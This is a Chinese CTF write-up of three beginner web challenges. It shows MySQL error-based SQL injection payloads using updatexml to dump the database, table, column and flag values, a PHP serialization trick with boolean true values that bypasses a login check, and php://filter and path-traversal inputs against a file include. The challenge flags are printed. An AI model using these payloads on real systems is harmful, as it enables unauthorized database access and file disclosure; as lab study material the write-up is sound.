[SWPUCTF 2021 新生赛]error

[SWPUCTF 2021 新生赛]error

报错注入:?id='and updatexml(1,concat(0x7e,database(),0x7e),1) --+

爆出了数据库名称 test_db

爆表名:?id='and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="test_db"),0x7e),1) --+

发现了一个users表

爆字段名:?id='and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="test_tb"),0x7e),1) --+

发现爆出了flag和id

?id='and updatexml(1,concat(0x7e,(select flag from test_tb),0x7e),1) --+

发现flag并没有完全显示出来,应该是长度不够

?id='and updatexml(1,concat(0x7e,mid((select flag from test_tb),32,31),0x7e),1) --+

爆出后面的字段

NSSCTF{b4d5a3d7-f2a5-4085-a973-05b4926b9325}

[HUBUCTF 2022 新生赛]checkin

这是让我们输入usernam 和password 分别等于this_is_secret 和this_is_not_known_to_you 然后有GET传参,然后把传参转换成反序了化(unserialize) 如果等于输出flg反之输出username or password error!

我们先试试传参反序列化

复制代码
<?php
$a['username']  = "this_is_secret"; 
$a['password']  = "this_is_not_known_to_you"; 
$a = serialize($a);
echo $a
?>

a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}

发现没有显示

发现失败,有一句提示说 here I changed those two ,可能是flag.php改变了这两个值,

说要穿两个正确值,那我们直接拿true试试

复制代码
<?php
$a['username']  = true; 
$a['password']  = true; 
$a = serialize($a);
echo $a
?>

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

拿到flag

NSSCTF{3c5912f7-08da-4058-8f0a-ddeaa00b3be4}

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

  • 代码检查 GET 参数 file 的前三个字符是否为 "php"
  • 如果是,就直接包含这个文件
  • 目标是要读取 flag.php 的内容

?file=php://filter/convert.base64-encode/resource=flag.php

我们用这个试试

我们去解析一下b64编码

发现不行,那我们换一个思路

?file=php://filter/resource=../../../flag

NSSCTF{b9f3c77b-6fcd-49ad-aef3-093c962a4abf}

相关推荐
诸神黄昏EX5 小时前
Android Build系列专题【篇四:编译相关语法】
android
雨白7 小时前
优雅地处理协程:取消机制深度剖析
android·kotlin
leon_zeng07 小时前
更改 Android 应用 ID (ApplicationId) 后遭遇记
android·发布
2501_916007479 小时前
iOS 混淆工具链实战,多工具组合完成 IPA 混淆与加固(iOS混淆|IPA加固|无源码混淆|App 防反编译)
android·ios·小程序·https·uni-app·iphone·webview
Jeled11 小时前
Retrofit 与 OkHttp 全面解析与实战使用(含封装示例)
android·okhttp·android studio·retrofit
ii_best13 小时前
IOS/ 安卓开发工具按键精灵Sys.GetAppList 函数使用指南:轻松获取设备已安装 APP 列表
android·开发语言·ios·编辑器
2501_9159090613 小时前
iOS 26 文件管理实战,多工具组合下的 App 数据访问与系统日志调试方案
android·ios·小程序·https·uni-app·iphone·webview
limingade15 小时前
手机转SIP-手机做中继网关-落地线路对接软交换呼叫中心
android·智能手机·手机转sip·手机做sip中继网关·sip中继
RainbowC015 小时前
GapBuffer高效标记管理算法
android·算法
程序员码歌15 小时前
豆包Seedream4.0深度体验:p图美化与文生图创作
android·前端·后端